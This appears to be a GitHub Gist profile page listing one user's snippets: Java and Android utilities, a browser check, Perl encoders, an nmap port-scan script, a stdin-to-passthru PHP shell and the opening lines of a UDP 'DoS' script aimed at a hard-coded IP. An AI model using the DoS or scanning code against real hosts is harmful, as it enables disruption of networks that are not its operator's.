Skip to content

Instantly share code, notes, and snippets.

Avraam Piperidis avraampiperidis

Block or report user

Report or block avraampiperidis

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@avraampiperidis
avraampiperidis / SearchUtilTest
Created Dec 8, 2018
Generic java list search/sort with unit test
View SearchUtilTest
public class SearchTest {
@Test
public void testSearchDetailsMore() {
List<LevelThreeEntity> list = getLevelThreeEntries();
JsonObject json = Json.createObjectBuilder()
//threeName:in the same object
.add("threeName","proto")
//id:In BaseEntity
.add("id",3L)
//twoint in the exact parent object
@avraampiperidis
avraampiperidis / AppCache.java
Created Aug 20, 2016
Android LruCache Wrapper. easy to use between activities
View AppCache.java
import android.support.annotation.NonNull;
import android.support.v4.util.LruCache;
public class AppCache<T> {
private final int maxMemory = (int) (Runtime.getRuntime().maxMemory()/1024);
private final int cacheSize = maxMemory / 6;
@avraampiperidis
avraampiperidis / mobilecheck.js
Created Aug 20, 2016
check if browser is mobile client
View mobilecheck.js
var isMobile = {
Android: function() {
return navigator.userAgent.match(/Android/i);
},
BlackBerry: function() {
return navigator.userAgent.match(/BlackBerry/i);
},
iOS: function() {
return navigator.userAgent.match(/iPhone|iPad|iPod/i);
},
View foo
<?php
echo 'foo';
?>
View nmapscan.pl
#!/usr/bin/perl
# usage .txt file with ip - hostnames one per line
#requires root
my @ports = (20, 21, 22, 80, 443, 445); #add tcp ports here.
print "\nService version 7 status\n";
print "\===============================\n";
while (defined($ipaddr = <>)) {
chomp ($ipaddr);
View encoder.pl
#!/usr/bin/perl
print "\(c) Zeron \n";
print "En/Decoder (zeron)";
#**********************Main Menu****************************
menu:;
print "\n\nMenu:\n";
print "1.Encode\n";
print "2.Decode\n";
@avraampiperidis
avraampiperidis / leet.pl
Created Jun 18, 2013
a basic 1337 encoder
View leet.pl
#!/usr/bin/perl
print "\n(c) zeron \n";
print "1337 encoder";
%enc = ('a','@','b','%','c','[','d','*','e','$','f','PH','g','9','h','H','i','
L','l','j','_|','k','k','l','|_','n','|\|','o','0','r','|2','s','@','t','+','v','V','w','VV','x','<>','z','2','A','4','B','B','C','[','D','|}','E','3','F','P','G','6','H','|-|','I','|','J','_|','K','
|<','L','|_','M','|v|','N','n','O','O','P','r','Q','q','R','|2','S','$','T','7','U','U','V','u','W','e','X','<>','Y','%','Z','2','1','l','2','z','3','3','4','@','5','$','6','G','7','t','8','b','9','g');
print "\n Enter your phrase:";
@avraampiperidis
avraampiperidis / phpshell.php
Created Jun 18, 2013
an alternate shell thru php. it can be combined with html
View phpshell.php
<?php
//by zeron
menu:
$out = fwrite(STDOUT,"zeron@box~/$:");
$out = trim(fgets(STDIN));
echo passthru($out);
if ($out == 'exit') {
exit;
}
goto menu
@avraampiperidis
avraampiperidis / DoS.php
Created Jun 18, 2013
a simple DoS php script.usefull only in lan.
View DoS.php
<?php
$ip = "46.176.3.162"; // Fetch IP via GET
$socket = socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); // Create sockets
if(!$socket) {
die("Unable to create sockets.");
} // Unable to create sockets
$data = "";
@avraampiperidis
avraampiperidis / base64.php
Created Jun 18, 2013
a base64 encode cli script
View base64.php
<?php
$who = exec('whoami');
echo ' |--------welcome to Protectsoft---------|'."$who"."\n";
fwrite(STDOUT, "enter your passphrase: "); //STDOUT basic input write method
$input = trim(fgets(STDIN)); //trim removes string spaces at beggining andend,fgets get first line to read,STDIN read input from STDOUT
base64_encode($input); //basic encode function
$str = $input;
base64_decode($str);
echo 'your encoded passphrase is: ',base64_encode($input)."\n";
echo ' |--------Protectron Protectsoft---------|';
You can’t perform that action at this time.